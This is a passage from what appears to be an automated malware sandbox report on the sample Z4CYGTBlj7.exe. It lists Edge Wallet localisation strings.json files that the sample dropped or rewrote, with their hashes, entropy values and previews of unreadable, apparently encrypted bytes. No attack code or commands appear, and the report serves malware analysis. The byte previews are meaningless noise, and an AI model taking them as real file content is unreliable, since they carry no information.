...\|6.l..L..W.S5l...P9Q.{.....O....u..Rm.-.M!21.....m.~..In.u.:...D......{.uM..3.....u.8.......g..f`pu.i.l\....L7.J..U=."u...Q..R.d..0g:.>.XK&$...u-:x\|.&M..pu.ns'Wr!T...)-.z$..K.4..9v.E...f%......V./..X.&.%.0..x..DX{..$/.H.\|$.5.&.H...!.......XE...Q.2.....0.M.N....%.bQ..HW.....V..<.01.*..G.2..%W..#%...L..8T^..^.s...3...N...]v..O.K.pSi............#.\|............+G{.{......r.m.n....,tN:$Pmt...5...)..es.%.....^Q..V....a.vR..1KO...0.&Fi.y.fx....m....z....'..A-.e......%.=.k.L.o;.3....t@/).o...%.5.....i".P.....].!.A......,.7.Im..:m.!6...ov........c..D`Z.t.._..........Oe.Hf$Ba.`7..(..~.<...C.%..O%N.\;a.\|P.No.w.,@.K.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-notification-shared\id\strings.json

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	5730
Entropy (8bit):	7.9562982763132
Encrypted:	false
SSDEEP:	96:cUywX/1RS3qFbL1h7L95/Mer2pbC7rUqt0Oi8PxEJP8nG4FrGWibg+:F1LSObP7J5Eo2pu79Vi8pQvk+
MD5:	1B13AF99949970E50DD25DC81FCE71C2
SHA1:	7C03572EBE75DD7756A07900F141C4D6D2E67F5B
SHA-256:	4CA6ABF743C98E392DEB2B7F3F281A109FE530FFD452388637B3116C74E7573D
SHA-512:	F9BDD19D80FF0BDCD2D64657E6A48976E1CF2A871E500165537FC9D29EBBE51F0D5728F425D7B958C9CA656E937F3390EEC4D4B700A177A784EB44AE59483FBC
Malicious:	false
Preview:	{. "{..r.D.T.....j.0.\|.*..\|o....U..c.c.......Ag..m..9..0.h...l...X.'j...<0.:.4..@...O....d`..4.>i.-o...F..8.s..l....8.\|}.....P......).S..uL....{..>. .L.m..(..LI`{u.A.BPZ..,OX..8r.!;...5...I........v...Go.~l..y.x.Gx4..@..)BC.3.y.+..^......e.]p..q!...D...J.)..'..4.f,...E......JX?7..d..7c.\.,.9.k....&..........z...A..HG..Yd....<..\|9Rj..r..l..bp..........A......\.x.X82.6>...i..).x}.B....u....:.........O.sy......8..D.i.G...v.....<..3<.....4..K7......i.....T.%.M<..4.........n...b/...i.....8b.u.... ..U..6B...p.Iz....kqi[...b.m..S...D`."...F.9.+...@Q.n.{..f...lF.p..8pl...qT&f..>..if....D>..Rb.7..e/...[....tq.D....Ts;...pA............(....:..@..cD.......<y.e.<.~>.m."Q..P..... ......O8.S....i8.!...z.D.....o. ..y...l....I......^...A. ..1>.r..+.R.p.}v.vi.....gz.....].D.R.....7...~6e....Q...]...'.@...=..LLT..o.:.......!........PR.....r.......pR X.......h=r..4....r...v...j..........w.......9n..Imd...>."M.<.......1..[.....!f....I.o...U.t...El

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-notification-shared\it\strings.json

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	5837
Entropy (8bit):	7.963976269927517
Encrypted:	false
SSDEEP:	96:iVMi3k2VOeh+PGQPxXGZqR9TBc+C5OxbiWksZJSfrsigPl7UozMAwviwDhRT7XsG:IMCVT+eQPxXa0A+CiiWk2aq7UEIish97
MD5:	58D819424C35122C9F980C18236E6933
SHA1:	730CAD2327750EA60BD554C22A5B9F5CC0488737
SHA-256:	539FA6BD8DF341980D6A3A7530F99537FF2E305B7985E28F52940F41331108D5
SHA-512:	D47CE4BAF7B56B036EC63D786270C0E5BA6C4D716AD4F7BD9E25EA1C4F6CAA3B989FC4B1DD3E91B4A4847C7CFC5B99CE7CCC905D7C52A1838122B6AF22BFAC7C
Malicious:	false
Preview:	{. "..s....#....@..H...P(j...-....b..U.0..Oqj.w.M.......b}^Y.Bo5k...I.j...!.S.B#m.m.$.c..W0.XS.`..S.i.1...O....VkO.C..k."1......f.K+...0..b7...X../....u.N......].@.......4x=K...$?...".r...a.i.Br..(...."....g.t.<.H:vee.\.....8!I..o............"..V.)...s.Y.._...L...?...jI0.F\&].\3.{..fhoL.%.cef03.x2...X.i)...{..9.nCRGr.F-....H.\<../.u...18G..8.......O.0..,u.....6.g...(....p...".qR.DO.h'.;...P.:X.P<..g.Fi..X....[..W..2b.q.(.9.....:6.Ku?mO..+n....G0...l..l.#B.s."........~..2.x...N.Y.;..8&.......Od......?...K{\|..a.n{.x.w..1...E.e.<.^A?t?.."hQ.%]iP.jU........h....av...9c5.=..5.......N...uoX.....I.9..m ..\|..Xyf&kc.QQ..z.{.../. .......L..>...... Z@d.........l....!5].u!.r..;u>s(...&.\...4.1n3S.Go;c{.L.k...L.O.D.&.i.^S.....M......^.3............,..@Y.D...P..b.......*...e...~3......._@z..,...x.....5...T9.l).W.%?N......k.KP.)p..O._......=S.%.V.Q........S2+...e^.h.7.u......2...5..~..../kIn.Ku.7-f.]1..#.R[..VX....+..K.....+..........S.o...

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-notification-shared\ja\strings.json

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	6603
Entropy (8bit):	7.971985325548377
Encrypted:	false
SSDEEP:	96:28KE/bwrWgHjKGDjTy0y7rPaofgkQWbz+u7WZUGaKqSC6DeUclGhIjQe+:P36KARMPl7b+uOUGy4eUclHQe+
MD5:	0567002B2B4FE5AA3EFA45FD7A03AE10
SHA1:	97967E84662B33AAF470CB2458A368CBF09F832C
SHA-256:	D201E634D327DE2EF381149962985BD99F89BFEC7E29325414191C3E8895CA3B
SHA-512:	4E7D98795D7B29B1F1CBA61C81F1B44A573F4A381A7194C2A078FD2EE2E798ABEC358A368DA7DC203E3BC2C56D975A54C1C79CEA6F8D42262714799A3118EAE9
Malicious:	false
Preview:	{. "'......?.P.w...g.x+=`o...06..5b..h....@<.....rC...t.#-1I"...b.A..!s.em..-.E....3..i.=L.c.z..$R...^..e.?h._.^t....+...7.4+.=3...._3..-[.{e.i.f.%^.q`....q....p.5T.F3}d.$.TdB.....ny"D....`c>../.......\.@$.$......[.....~?.\...(B..e....f...~....=.GFC.........$o,.<...$.m...6i.h......\..D.F....S..b...4.~..7..'......Q..W3......;.\|'~.,..6...m....\|!..L....U.l.o..l<.2l%.G..d.~]..V.n..x..2...c..."..s....G.E.c.Ff=.......TIy#G.X{!.. .S...{.b....5.,...<?o"jdD...6P..(.z...tY.....$..}..4...t\|.t...A.].....&$..sQ.K...7..3.k.Wxy.e.q+...f..\|.f]3.1o....d?.7^S....s..%}....C.j?..?R....z..7$...[.Mjf..C.STM.,..].\.u.V.....-...............F...uG...9.M.5].....+..$.F..x...l....\4.....{.f......x..D..N...&y);k.;....."..4.Y+..iU6.\|O_[....mV...no.bMg.t..h8.kh0/0.5). {...4..y.q....Y....Wa.W..4...........#.".f.=....{F.."..".\...Q...Q;A#...........y...`...q.O.O.%...c..!6=..}....c..[.......9..(.D.u.dk..;._p.@..'N%^...F.........H..2.,Aoz..ic.S....=.M.,......bpr...A

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-notification-shared\nl\strings.json

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	5779
Entropy (8bit):	7.9673579975613125
Encrypted:	false
SSDEEP:	96:1lG7uAaJRsUscrqAIT5As6ac3mIuZhSqcHkK4/ZYrj+Dc/ZHZEJhV+:27uAaJuUjrHInJITQirjFRHaV+
MD5:	02B7FC92705AF0E51624E5FE6D677E6F
SHA1:	2651F2726E61ED13AF7C370C907707F01C957EE4
SHA-256:	1B93C32B2CDF5371EA4DC27EF2E8B7794900A2E9DB51625C3B7BDC25AB9A822A
SHA-512:	C377BBDBC3061C7E6CF4D334A45DB3050A55CE2498767217C48E0F72C543CE0405AFF11C0E345261062494200C4B82249DF98C26B65A535D26C04C3AE6EBB051
Malicious:	false
Preview:	{. "..v...tsau.!.T.@.bfd.u.b...`......../S.ODva....S..J.{......e...b......6..q.d......H ..V..R......]..z.N..v.c.D...}.b...r....bL.....M.<.X.mA.-..fT..(.Z.Jf.m...:(...U.9..\|J....v/.. ..L.#.....O..M......f..k.._.."a.....N..q.i.6Q..5p...h....M....wN.Cy.5.OY#b^L.b..G.....d.l....B`=.w.^4....m....X@_IQ.E\|...GA.G.. .......c..#.)r...!/.ZI.S.........~.q....^...rzLef..N.Y....~..)..2.A..e.. ...C'8...%q..h..Ye...!'.=...........-...q..W.........Qjl..D..N\|.X...l....I....<.#2.t.....{$_...f.(h...N.\|)y.S.oI.;..#...0.../..P.\|.Xv....[.>.KOA.....w..z...Z.r.].1..\|..]b:Jo(m..NN....V.l.V.k'..Z1]-4....\|xx...U.FYd.... .....{.........@/~JKB${t.{.M]..r..&.M.Z/.3.".e<.%.s..tR..ac...C\..E......)?&.f......R@....>._,....?:.PI.O........'4B...8.-f..k...-',-....&.H..o5..2.;X.....'O~...D...y...V.23^..j..H...i......e.J.6R.un.Y\....A..V7...M.S.T.S..k.U....4.&uh.+.2$9f.....L2...R...[.=..p0...y.f.s..M......RS.GG:h.5l....N.....o.\|.S(.......).e.i.t.W...>.#..v....

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-notification-shared\pt-BR\strings.json

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	5760
Entropy (8bit):	7.96843004104638
Encrypted:	false
SSDEEP:	96:y42oolGEBdNt2cvEEKZvv4H1xxkRQpQ2/pcKCi6B47TYcAaobIygEyBUJZjUwYS1:cW6F2CKZM55gcAjIqyWLjUwZU+
MD5:	B3A8196B35521BE9DBECF9913C8D904D
SHA1:	3D31755BB9DB6DF95D77DE27930B4A641811117E
SHA-256:	27F62F8901E0CD53FC408BADB8CA35579ABBEBBCC5DD1A881DFFC78B83E916FF
SHA-512:	CCB0EF8660659919460861B605133A3372C529769B12FAD48D07C90C3EA87FF771F9B9C14406ECF5314DB26D7FDEC9624EA7740739D128CECCA6C289A8F506F9
Malicious:	false
Preview:	{. "..L.MpQ.5.x%..:.....R<g..w..d..9.......:."T..G.....r.i!...8^.x 5...n!.4..?.9.....v.d....Y..../...K.S.0.A<.G.[.(........x%....E.[..>A .C.5.....9.b..e...CMK[.$3./.f.8...+Q..o....."a>I-..!.).P..}..i\|F.$..n....U.......+..JA..$..E...N).x..........s.....(^.P...}x..i.H.i..f....NLt2t$.;J.L...w.{Fw...9.82/.$.s....'..2..1,`.Z.J.6.O: ~}G..F....(..@...Pe....&....=..`p.f.Y......s.s..K.@....y.#C...q`..+..WU..qT.~Z).....)...B7.5.X@.8..1S..F..@9.A..Z..I+'{..4.WjRW:\|....:%a.....0[....Sr.l.Y..).W+..2...%..R..o.T..b....zs.Sih....Lq....@.c..,.d.r.#c...v..b.aAL.;.P...j[.f....#`..\|E..+.....`#..A.....f.....n.m.....+....%.Ih..t.L'.&.E..l...{d........ ...5.%G..T....H.\.&.....F.%}.i5w.6..1....K.. .Y........!v7.-`d.%.....!.eO9.<.7...U.+..]..R.b....0.O.../..OFQ....n.D.K~...'...-......vC.....Tg...-.tQ..C9.Se..Rj.....M...x.`N...D.4.MT.Vtc..c.:AP..tk%.....G..c2...3..X3.. .SD.=..7...d...a..LW..K.......b'.a..z.h&}J.c.(.^.w...O...d....r'..S.j....Kv...5h.\|.?..?.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-notification-shared\pt-PT\strings.json

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	5917
Entropy (8bit):	7.967356148982023
Encrypted:	false
SSDEEP:	96:SfvVjlpp48qflwVU7xa/XcNkLT9q5TgshHrA5uNHYn2psBMC+ODSfJkBIX+:SnHppglw8a/ck9CB1/HY4sBMCTGJcE+
MD5:	6B3D8AF8D351EAAEC8A265855EF75D4E
SHA1:	9ECF399722554C4F4E3CF8425E077ECCF42341F3
SHA-256:	E61AAD643D4D020E9B4E29D0D14E46C6A9FEFA7C287C26BEDAA16FA23F2F92F6
SHA-512:	BD392BDFCFD1A49111D9666B23CFA3853519F438BAFD9497C0E35EAE48F7786A4BB0B67B510D16617262B34412F50886BD7D9D48D2B7251DCE865557CA94A556
Malicious:	false
Preview:	{. "...K.....^.^..p.X.._.......@-..Z%,.G....tRB......z..qIJ...5.\..B..%b..Qh..Ur.o..s.=.#Z....c.<o.hy.-...U :.Q..~.u"....S&..Z.ua..)...SU.0eG%vT.U-.Hg...X.2P.+...H1j..... ......x.?.n!9s]^... .....6S..1i+}..........._.et.$S/7.JC1...C.#R.Mx. %..,*.rsm...Pl......$....d=.L.r...^.xq.YNwH..B.?.......q...RL...8.. .SkX:oS.`(f.C..]'W.O.......G. .@....,z[SQ..'r..........0.....j......5N...E.+"...%.pN.Q..........\.fjJ..$....[..F....6...".#.#.....4.......@@"8t.7.E.Q.<L.(..p..Ma!..V.g+"..!....Gu...kF....^._.+5.wK^..#V..vi.N....sO..@..iB..k..\|.....Z..D..F.....=.d..g.C0.OXe#I..$..X.U......inn.Q......&k^.S......$;...W..J.\H.a...GR.p...Q.H.x...E.E-.C..0..^``/..............}.(,.....6......Ev7.........p...jo'@ :.U..).:{.L...@z.v+h..@.......d_....J.Z..g.xG....\.X._9~....g.h.>...mwg.R..6...0..uB..87._..9.=.G......J.....f...sx2.....k.K.daT.'..$.y\~...WB.((.....;c~g:.\|...!...9YSi.c_.o..]..}a..N[....jm..[...6y..o..D...j...rR.;.).R6..e.)Z.T&..'...s..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-notification-shared\ru\strings.json

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	7884
Entropy (8bit):	7.976580821657153
Encrypted:	false
SSDEEP:	192:UqC1fsqrAMSF/yqWbqsjupvLaG+Fe1CHpL92rLQxm4U31f+:YfAqvbqrjyumk/GU31G
MD5:	5C43A8CCC92C81AAD198D03852100250
SHA1:	74DC2253D10C828CDBE79CDCA1B97FEB16F350B3
SHA-256:	18E462B42C1AF8FC9284F5AD3121C2D5910CACBD156E3A32B87ECA5FBA352B90
SHA-512:	3F73BB1014433DB48768809A9081B7149CB3D6F5F5B8A6EF37D3684EB9FF472D9C6132BC9755148C6FAF2DA45EA527D6264EB8F1CB88C288570CF1970562B9CD
Malicious:	false
Preview:	{. "..,yj.hK...E.!?.=..^..i....I............u{rjUY.2...=.%.i>.c.......G....$u'f...XP.>Bd.1..IKe].....R...,..n....eKb..R`R..d.=f...Q`.6..M.,.o.....X..$KX..C<..3..4......Iv..'.Q....Hmj{.G.g9..F.....{sw`i...;.t4....a......P......[.F.g6.4...;a..)...t..:."..YX;..&....b..&...6....8A...@......IZ..Q8....y...^c/.X....6...b...M...h6.#.b.......Z......1..E&......Q..bv.VG.J}....J,.m.To.......K(..u.Y..L.%...... .o.zH.n......+.~..i..$}.........sE..4q...0..G.]..,.......U......I..oX)i7K\|Qj.m.U[..`}(Sv.'....V.j..B..8.;..>..W......_......=.{...r.y....G....w...<....}.r.I.c?.YBfZ..t..ga......3K...m.n]h...Im.$..k.<R.I&\k.(.".).6)_.w.....[.r.%..jXM.k.};l....I.....z)(u`.n...+'.'.....P.6.............6.C2...\$...P..z........6.....yzG_$..O............&..&4..K.G+!........v....."...3W.n..N.$.+/..{..1R.E..?...v_e..p../4.....6.+..2.>....h.(..\.../..os..wT..xZ..0E.../........caRl.....7....h.......z$..}ik...P/.Vt..`....:...)%.E....Y....ex.y...b..9..2....5..s..}k.a.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-notification-shared\sv\strings.json

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	5733
Entropy (8bit):	7.969737822442453
Encrypted:	false
SSDEEP:	96:SKcdQ8QvMQrpSymMcNeACkGRCKXYZT23Xa3VY028+aKBD79RZKkQZ+:eGd0eAHG5nHa3zP+X9f5QZ+
MD5:	B1542105C68E78908EAF4AEBD2F00570
SHA1:	397FEC00F44F9C3E38B9774AC845E5E2C9F62002
SHA-256:	2A758319CEB1CE6DA82A610D77156A3E6DBAD1B6F514C5D2F46C359DCFA0BD74
SHA-512:	00289297D832D22C98EB23FE82D41589331931851CD0876C7002C513F44FF0C7A43ADA16679DAA9F5C5648414CCA14D6897941DB7034161F34E508C70E4FD23D
Malicious:	false
Preview:	{. "....dT6I...Z,.$8WQk......jo....z.)..$1..Q..N...I.[..5..6C..(..S.y...{.ZQh.'........E....H9...Ev[-l...x..d...a........0k>V7...R/.......i...S..=)B.'......U..c.C..e..7)......d.t..,.4..mE(.....r/....\....R,Cs...L.{...}.\......;R...+u...I.@N.....B..3....'..c...a.-..Z{(...b...w{....7..Y..#D R.t.W........'.v..E..:...xDb.l...<.O.T9....l...._..i.Yz..M..V.^..6%....../"N.3.\,...3#2...e.E....KUeb..s6..-w...l'.{X.+=3..i?...%8 ....j~O..\p...`....3...m......(....`H.....+1.....A.....m....A.S..V L9..P..;.[.7...<@K"....GkF...._%..b.iN.P.[....UQn..n....g...ff...\V.a.{<.].....94...~..9.`Ub........\..$....{..$.V...W0F.i3...x]..,.&d.h..klX.....'c.D.~.(r."=]6...T.Z....s.r!..$.l...v.t..l\L......FT..t...oI.}.......F..d.Pt..].>..P9....1\|...q2n.a.{.q.....Zl..G.....b...7.........=..4).rsC.Bn.n].....-Z...vc.bXr.e_..L..W.`..}r.......@.C.(%]$....MS.....e..e.G..Al...v...iy...iMT.=..K.[.N..o.Z.*.vR.#nS.O.VQ\.g:..>]S..#)-.....iZ....Vu</{rC.iL.(..Ah.Q.}.......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-notification-shared\zh-Hans\strings.json

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	5298
Entropy (8bit):	7.964971832148018
Encrypted:	false
SSDEEP:	96:rkqAf8TFUiiq+bNhoDKtVn0Q/3vUmIJuV3AkBAISTPO47CpTFy+:4qAfe9ix0gVnD/IUVBAIStCp5y+
MD5:	E3BDB8166A26E413074E0E781FB4D8EA
SHA1:	CE9AA958C8D23250BF6E51FBEE9728927ACF02FC
SHA-256:	850BD855517AA7ECF3C181BC9B9488B968A6FC382E2CFEE6894A282B2F31E520
SHA-512:	EC45378BEEED41F2B8BC886593E4932F8BBCE4CC0A87ACDD32BC2284189EACCE0F074DF032779C3E86B938688408C3681EF30252DD42718170265392944E5F8E
Malicious:	false
Preview:	{. " )e........7...pcEC.V....ut:.......DUA....LM..h.....Z.BU..;....e'>.Y......'}?Q..~Z..0 (........x...u.xF-....;G.....i..w.fd...S)QZ8"..t..~...7 t.J..n.n..?8..g...~R...u..\.(.FR.....X..pv..+.....+.@..2..j.^..D....;.U.k.H'..A..e......K......,W.L....wwu.!V( /..w..oCms....-^.Nr.A.k.....R..a......`.&../....~..d.m..C6...g..i....~=E...S...+....W..n^6j.<a../J....8.;y.n.....9.5.W.\|dL...X.+..{..<...v..J0..Y....\.....{BWS2.a.3...~.C..:.,.^..r.r....6>s.,>.q...Pp..g...o.....oJN.[y~.....6w.6..P.I.X.. r...{.q....=$...1..[..o.....X..a....a.j.Cr.nu..y....&......7..R.w...x]..2..rp\|.\Iy$31..Y....b$..EJ7oLH.......W...#........c...{>..s<\o....a1..J1=...5[.. .),?.u..q..`i.B.T...h....I:..J...Y...xA.$....t..O..L.......u...-{H ...E....7.xG...F....e.....h..A.=)T...[...fB...p...V.'."/..sc..;S.d.2p...t`..y.M.qkh.J..:....E\P.g.]..+..].D(x..w<...../y..db.4..n.........X..UA.A?.E.Z\|.:.M..]....Q.8iF#;P0kY...tT..........X\|..9p#.C.-.K..8....9...7?E3...

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-notification-shared\zh-Hant\strings.json

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	5374
Entropy (8bit):	7.964942497373114
Encrypted:	false
SSDEEP:	96:8IW6wSyJCiUyTr8LQpKiT8SiJ8j3xCF0rCBZ0fRa+DLp/cEKepYPtoAj8y+:c6PyDr8LS8bOj3AFiCByc+etoAQy+
MD5:	C68461432FDF4CADCEF0C9E77CAB2ECF
SHA1:	41E824CBBD27A89C2D8E4E2D5B98E6EDDEE1AC10
SHA-256:	0896556C5FF63E9E3E9A6B1F77DBE2C7ADC09C2F8ED00207E1ABCE0EDB45E235
SHA-512:	8708DD43BDF4F82400EF9DC0EEA3A475DE7612DBE025B24554CFEF66A2D0CD8CE6710880422CD113C98261B056DC51309EAB02F3923E2CFBAF813473FA4417DA
Malicious:	false
Preview:	{. "e.............i...z..0.].Iw.7..."xO_..TRg.4...x.L...p^f.\...n...J....i.qC..(=.A.%...........y...O(.k.D..s`O2.l.......L3.@.. .7...y.`..4......T~......`&.<.....H.....~;.e{=b..2...+.L.W;.\.^...0..I.Y0t...K...+n...}.....x."....H2}....2h.. ....@Hw[.....8s.cJ."...."&..?...S.../...cY.I........d...J....=+& ......9.e.q5....?.^8.....u..Fs.+.ihK.....+4Z..b..D<.Mp.@..w....LKy.Bp......l...D.uu...../O..lXT(&U.4.^d.0M..dP......`.B.,..].b..k.>om.nF.4/.....r..^V^g...#...`z;.I.\c']).%..&)G...0>.,^....<.......7.&j..%.F..A.."5.{B[.....=..l..1..d&.....j....?...p...-.....v...J6n..}.C.5:....5.P\|..a.o.Y..G4.Rs....Il8..#.W.d...[E8S.....$.w=.....@..%.....>F.u..4O...\|..\|...+.M`..)>..}....0-&_V.?TKEq..........c. .......-...wX.........B.+......L_..>.(...........]. 4...W..=..G.....Q.V3..z..U3E;]...._\|.e..>.,.{..X..k......05 .cV..(........l.Q.t...!.o..J...QMI2.[TSu>.....q.&.g..'y...1+....r.`...........3.T.O5. ~...jI...>...se.k...@vw.%.o..+..&/.<..4.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-shared-components\ar\strings.json

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	11026
Entropy (8bit):	7.979467246094428
Encrypted:	false
SSDEEP:	192:UVWMLkskMfrYa8p1gUQLBRcr+F4m5ypOmJpb4nGPemzh+RgNS5+:UzoRWrYV4UQjc+Tu/kUUReSY
MD5:	E02EAF34B085D68AD02D6832E64020D7
SHA1:	00FB692CA8B67EBEF97D02AC8847B6E3C508BECA
SHA-256:	AF7EA36B50DF965FBB4E98021B4403FE403C5385EC2CED3A4409E454342B0776
SHA-512:	AF14443577BBA954B2287746CE7B8F3033465C324A84497BD8087B20405255C2B4038A49D0936B68F75768CBC548196CABB28C76464093D006B3B718FDC1022C
Malicious:	false
Preview:	{. "J.....#H...5.....3.J.M.zvM.....P'y..h.k.....Y..Jz..%o=0..t .3...M.L.......!Wy.X..\^.t2..g<.D...k..R 2.K.]..}......,.....O..}x.~x.#F.....K...!a.......in...O-.<...X..dCu..7;...o9A..3VR..Ev..2)..?..c.$\|.^O.f.^.. .B.....s....6Zk..kK..C...L.\...Q0.[.\|.&b..1R.._hdP....-B....w.C.$z.W.Y..A.Aw..+\3...f..H...9@..U...FE0#c...:p.....)..............^E.!..<.. ..}B.5.L...U.6.&...N...0.....Cy.Qj...2..q.h.../.....2n.c.1.j.d..0)..s&0...uzz.4sf..a.Sk...q.....2i..d.y..s..T.pB.L..Z..`..<a....N.&cU.@.Mw.}.D..9..qu....1......,Q..\|.64.g../:....W2..a....PC....<.o...G..^.!.T.l..."..w!w..6\.<...P..!s..L.2a\.,.m4...e..q..<.......[k2.K'.a..-i.`z....;U.8+-..R....g.K.%....NM.8....p.C.>B.b%\1gJ0.r/.O.MBu.....'f.<..x$.g:.........R..]...k.P.........eF...[....&...g.d...NXLbo.l..>...vB...R..n.y.\|#..O.....ht,.7.H.1..3.',.$.6>uah.s]....c.?...Y._..3...)7;o...a.-.X'.d...3.*b..(x.j.....9U......(...nSFbM..._.O..z.#..g..!......."....L.v...)U.....'.../K..<u.a.a.9M(Uo..[2..1].

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-shared-components\de\strings.json

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	9516
Entropy (8bit):	7.979681668166311
Encrypted:	false
SSDEEP:	192:I6/JAs3Y9UJqaSjsfiMGUvcHQuJxBReTLhzI144AGINPqTr+:I2GtpPAZhUHFJxvGhzIWGINPqTC
MD5:	00E6B2D63FFDADE31376EBCA2DEEF188
SHA1:	387FA41B2A074B751A8F1347C09B60B2AB9B87D2
SHA-256:	9702F13B7043065F09FE86028649AA4330FD9A6C3FBB94825774D72408B89FAB
SHA-512:	3C818587110F3D93BD801751404A991D3B5C38596AA7D1D00644FB9FC4FA9C2A151FC916ED12A693B0C4D64445D25A93E23B8B33B9BECA91EB3BDFFBDF1F44E2
Malicious:	false
Preview:	{. ".[.RX.qa..fa.3.f%..I..P.}...]\|..e..i...(...9QHW...ix.b.pe1.V..G7..`.%..kJI....^W...B..T...(Y5GL#....0...e....B.Z.e...C}.5._\.;H3r.8%U..,].).....]...&[..."T[.9.7..)#.U...!.. .....K......}.F,...}.`..rE=\.m..a~....V..'i.!tt.A.+i.2].R..^^W.....z..U......_.b..B...G~~!.....K8gUB.W<q.......AG.R.=M.L....Z.R=.Z.F,...B.e........e\|.av...X...C}....+E..w2...&....E.'.\|.B...........\.......J.So.nz^@...S.]..:.m..}....... ..C.D1D.e~..[}...^...<l...m.......{.z.]5...SjC..&.O.S.i.....h.l.........<V#V.]x.)...c7...X.]...`f...].C....A.H.B.....h.......q#.Y..Y@....!.9`.#kk...M}.$.-.[.~.i...1.4.~...o.S...I...S8.....\.H........l.\|....M.....\|..h.A..Q.H......Ln;....i(.....<H/....w.......}....@.....?.t3\....\|.to...j...x..V.[.k..&?.~I..o....J.9.{^.....k..........y.sMLN}...A.9..\|2u>..]...&.c.Nq....=x..`..$. ..J*542&..{.&...]...n..g..2..I....R.9N....E..C.%..%Q....#...ek..kQU=...B7..K..>.B..~....]..F2=.q:.....d_..L;4..kIVU.ZG........@..:e..B1.5........@..r\.h.c

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-shared-components\en-GB\strings.json

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	8202
Entropy (8bit):	7.980055384047255
Encrypted:	false
SSDEEP:	192:wP62hV19Eryz3DsuSNWBZlMzRuJd1KWPqt3vRl08WkQ4+:wPL14yvljlkYfqtb00W
MD5:	D39CDB41535F990F7BB2FE492F046673
SHA1:	1F3F386FCC206BBF71E6EE527B5E26729544503C
SHA-256:	B2B6A5ABFD1D6CA223A8FC37CCA027CF735623CBC18041029F3A5EE6FCE20DEF
SHA-512:	8A7CC9B9F4EFA4F4F53D6184E83A1F87EF913339EA032E165FA9E5F6C82375D9C41C4FC2DA074453395E857DF539745A2BF62933760E00D84D3690F3EEFFB560
Malicious:	false
Preview:	{. "..b.vU.m..I....nJ.P..R..)..w.9...8?x.....!.2^.acq.X.Nz.i.b.3y........Wx..!.KL@R..{~.i.=7].k\|DbX.:.Vv...........$.zh..M...^...e..r.-.[.X..m.......,A9.2.L.-...............e.........5m.NH..r.....z.?..`..{.+......b.Y.....P.E.-....l.....P........~...6~..M._...........;.........U.K.H6.....[.....~.7...t.uF.5..l......3.Er...%`.0.Q..........g._.\.7.....s..\|4&....\...(..vh..`.b.s...g...xA.F:..+0)D...'OK.....b... ....g.l..uud\...D.DT2rT.nciop.k.I.h'DD.F.D3..D..Yyo..8...&W!R.8.O-EuAx.+...Xg....B.V...~@.....pY.4....i...?vJ.;..._.....4..^..'.C.{L-S~RJ:@..I?....o....d.-{.&^.a...5Y#3........r.f.".p}..a.,..J.`.........cI_....sj..j.....NJ.>.+.....8.[_...`hTW.....A...)...j..C.q...X.s.gKlP....0..8.....\...@..~z;!.?..&..>.&..E...4....w.2...e#M.fE...u1..<....p.`W.{..`......Cnid.E...1.m...tci..j.N..5W0.. ...h..L%...th.... .q+..Zq4L..yz49[V.}....z..I..%y.x.?..L}..;...P.>.8.\|:T.D.#1R..~..Dt..e.;...i.H!...B9`..X..@vC%bJ.<.. .uDV..../....8..2;.T..F

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-shared-components\es\strings.json

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	9235
Entropy (8bit):	7.981797751416422
Encrypted:	false
SSDEEP:	192:jNwpGusF2Ww+qtHj5O437hhiupFVE1RUtXH9G6JgWRwOfVXfXUlRo1Kn5xJA+:jNZMW2tHFbLhcQcXcX9w8vUP5xJB
MD5:	6FCC00D34AD9CA3ED0EAE583DCF7CC52
SHA1:	2DCA3FCECEAA7263D80E4BE906AA315AF1AC1DE0
